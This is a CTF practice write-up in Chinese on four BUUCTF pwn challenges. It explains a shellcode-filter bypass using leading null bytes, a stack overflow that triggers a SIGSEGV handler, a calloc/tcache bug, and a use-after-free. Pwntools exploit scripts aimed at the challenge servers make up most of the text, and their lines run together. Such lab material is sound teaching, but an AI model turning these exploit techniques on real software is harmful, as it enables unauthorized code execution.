PWN-PRACTICE-BUUCTF-27

• • starctf_2019_babyshell
  • picoctf_2018_buffer overflow 0
  • gyctf_2020_signin
  • bjdctf_2020_YDSneedGrirlfriend

starctf_2019_babyshell

用\x00繞過shellcode檢測，call rdx 跳轉過去執行匯編代碼，一個\x00必執行失敗
于是需要找一條機器碼以\x00開始的匯編指令，參考：x86匯編語言雜記

from pwn import * context.arch='amd64' #context.log_level='debug' #io=process('./starctf_2019_babyshell') io=remote('node4.buuoj.cn',29263) elf=ELF('./starctf_2019_babyshell') shellcode='\x00\x42\x00'+asm(shellcraft.sh()) io.recvuntil('plz:\n') io.sendline(shellcode) io.interactive()

picoctf_2018_buffer overflow 0

signal函數設置11為目標信號，當程序訪問無效地址時，便會觸發信號，執行sigsegv_handler函數
vuln函數中存在棧溢出漏洞，覆蓋返回地址為無效地址即可

gyctf_2020_signin

calloc分配chunk時，不會從tcache bin中分配，參考：gyctf_2020_signin：ubuntu18.04配合calloc產生的漏洞

# -*- coding:utf-8 -*- from pwn import * #io=process("./gyctf_2020_signin") io=remote("node4.buuoj.cn",26888) elf=ELF("./gyctf_2020_signin") libc=ELF("./libc-2.27-18-x64.so")def add(index):io.sendlineafter("your choice?","1")io.sendlineafter("idx?\n",str(index)) def edit(index,content):io.sendlineafter("your choice?","2")io.sendlineafter("idx?\n",str(index))io.sendline(content) def free(index):io.sendlineafter("your choice?","3")io.sendlineafter("idx?\n",str(index)) def backdoor():io.sendlineafter("your choice?","6")ptr=0x4040C0for i in range(8):add(i) for i in range(8):free(i) add(8) edit(7,p64(ptr-0x10)) backdoor() io.interactive()

bjdctf_2020_YDSneedGrirlfriend

UAF，參考：bjdctf_2020_YDSneedGrirlfriend

# -*- coding:utf-8 -*- from pwn import * #io=process("./bjdctf_2020_YDSneedGrirlfriend") io=remote("node4.buuoj.cn",25051) elf=ELF("./bjdctf_2020_YDSneedGrirlfriend") libc=ELF("./libc-2.23.so")def add(name_size,name):io.sendlineafter("Your choice :","1")io.sendlineafter("Her name size is :",str(name_size))io.sendlineafter("Her name is :",name) def free(index):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index)) def show(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index)) def exit():io.sendlineafter("Your choice :","4")backdoor=0x400B9C#gdb.attach(io) #pause()add(0x10,"aaaa")#0 add(0x10,"bbbb")#1#pause()free(0)#pause()free(0)#pause()add(0x20,"cccc")#pause()add(0x10,p64(backdoor))#pause()show(0)io.interactive()

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